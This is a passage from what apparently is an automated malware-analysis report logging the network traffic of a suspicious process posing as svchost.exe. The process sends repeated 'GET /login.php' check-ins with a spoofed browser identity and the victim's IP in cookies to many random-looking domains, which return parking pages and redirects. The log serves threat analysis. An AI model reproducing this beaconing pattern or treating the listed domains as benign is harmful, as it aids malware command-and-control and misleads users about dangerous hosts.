                                                                                                                                                                                                          Nov 11, 2024 18:14:55.015641928 CET1236INData Raw: 61 79 53 74 61 74 75 73 3a 22 68 69 64 64 65 6e 22 2c 61 70 69 56 65 72 73 69 6f 6e 3a 22 32 2e 32 22 2c 63 6d 70 49 64 3a 33 31 7d 2c 74 72 75 65 29 7d 65 6c 73 65 7b 61 5b 32 5d 28 66 61 6c 73 65 2c 74 72 75 65 29 7d 7d 65 6c 73 65 7b 69 66 28
                                                                                                                                                                                                          Data Ascii: ayStatus:"hidden",apiVersion:"2.2",cmpId:31},true)}else{a[2](false,true)}}else{if(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListe
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.020559072 CET1236INData Raw: 65 72 49 64 3a 65 2c 64 61 74 61 3a 68 2c 70 69 6e 67 44 61 74 61 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 28 29 7d 7d 65 6c 73 65 7b 69 66 28 67 3d 3d 3d 22 67 65 74 47 50 50 44 61 74 61 22 29 7b 72 65 74 75 72 6e 7b 73 65 63
                                                                                                                                                                                                          Data Ascii: erId:e,data:h,pingData:window.cmp_gpp_ping()}}else{if(g==="getGPPData"){return{sectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"||g==="getSection"||g==="getFiel


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          108192.168.2.66456844.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.823091030 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431340933 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668071985 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345293|1731345181|40|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          109192.168.2.66457291.195.240.19804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.893867016 CET271OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: www.gahyqah.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668584108 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==
                                                                                                                                                                                                          last-modified: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-7596689c44-4sqbl
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 38 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 858<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com&nbsp;-&nbsp;gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From g
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668596983 CET1236INData Raw: 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c
                                                                                                                                                                                                          Data Ascii: eneral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sedo_logo.
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668608904 CET424INData Raw: 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66
                                                                                                                                                                                                          Data Ascii: -style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=re
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668621063 CET1236INData Raw: 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 7d 62 75 74 74 6f 6e 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 72 69 6e 67 2c 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 72 69 6e 67 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d
                                                                                                                                                                                                          Data Ascii: yle:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668633938 CET1236INData Raw: 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 62 75 79 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d
                                                                                                                                                                                                          Data Ascii: ox__content-heading{font-size:15px}.container-buybox__content-text{font-size:12px}.container-buybox__content-link{color:#949494}.container-buybox__content-link--no-decoration{text-decoration:none}.container-searchbox{margin-bottom:50px;text-al
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668644905 CET1236INData Raw: 61 63 79 50 6f 6c 69 63 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 70 72 69 76 61 63 79 50 6f 6c 69 63 79 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b
                                                                                                                                                                                                          Data Ascii: acyPolicy{text-align:center}.container-privacyPolicy__content{display:inline-block}.container-privacyPolicy__content-link{font-size:10px;color:#949494}.container-cookie-message{position:fixed;bottom:0;width576:100%;background:#5f5f5f;font-
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668663979 CET1236INData Raw: 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 35 35 30 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 65 6d 7d 2e 63 6f 6f 6b
                                                                                                                                                                                                          Data Ascii: e-block;max-width:550px}.cookie-modal-window__content-text{line-height:1.5em}.cookie-modal-window__close{width:100%;margin:0}.cookie-modal-window__content-body table{width:100%;border-collapse:collapse}.cookie-modal-window__content-body table
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668677092 CET1236INData Raw: 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 73 77 69 74 63 68 20 69 6e 70 75 74 7b 6f 70 61 63
                                                                                                                                                                                                          Data Ascii: color:#727c83;border-color:#727c83;color:#fff;font-size:initial}.switch input{opacity:0;width:0;height:0}.switch{position:relative;display:inline-block;width:60px;height:34px}.switch__slider{position:absolute;cursor:pointer;top:0;left:0;right:
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668689966 CET1236INData Raw: 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 69 76 65 7b 77 69 64 74 68 3a 33 30 25 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61
                                                                                                                                                                                                          Data Ascii: ainer-content__webarchive{width:30%;display:inline-block}.container-content__container-relatedlinks{margin-top:147px;flex-grow:1;width:300px}.container-content__container-ads{margin-top:8.5%}.container-content__container-ads--twot{margin-top:2
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668751001 CET1236INData Raw: 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 77 61 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 6c 65 66 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 2d 79 3a 74 6f 70 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63
                                                                                                                                                                                                          Data Ascii: tainer-content--wa .container-content__left{background-position-y:top}.container-content--wa .container-content__right{background-position-y:top}.two-tier-ads-list{padding:0 0 1.6em 0}.two-tier-ads-list__list-element{list-style:none;padding:10
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668762922 CET1236INData Raw: 72 64 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65
                                                                                                                                                                                                          Data Ascii: rd;list-style:none}.webarchive-block__list-element-link{line-height:30px;font-size:20px;color:#9fd801}.webarchive-block__list-element-link:link,.webarchive-block__list-element-link:visited{text-decoration:none}.webarchive-block__list-element-l


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          110192.168.2.664575188.114.97.380
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.057564974 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          111192.168.2.6645765.79.71.205804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:55.542689085 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          112192.168.2.66457713.248.169.48804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827982903 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.260653019 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:00 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 114
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          113192.168.2.664578188.114.96.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.863230944 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.725749969 CET789INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:00 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QoixpU8y938mRYoHDWQSoYfZjJZxxIZDU1Pta9tfFfwjLskXNqnvVTvB6NKvWMwXxZ0alPCwiHx4guVSgzIxPJ21wpd037apXZFrwktTAIffs9IlqPjAE8i7NJ5YgQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0febfe8de2abab-YYZ
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=12318&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=35&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726519108 CET168INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.726629972 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          114192.168.2.6645793.94.10.34804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.233278036 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lygynud.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345185|1731345185|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.564445019 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:00 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345300|1731345185|57|2|0; path=/; domain=.lygynud.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          115192.168.2.66458018.208.156.248804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.279036045 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupycag.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345186|1731345186|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.696957111 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:00 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345300|1731345186|57|2|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          116192.168.2.664581103.150.10.48804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.404441118 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.185329914 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.232.163:8000/dh/147287063_343064.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          117192.168.2.664583106.15.232.16380004888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:15:01.218662977 CET290OUTGET /dh/147287063_343064.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.232.163:8000
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:15:02.010551929 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:15:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
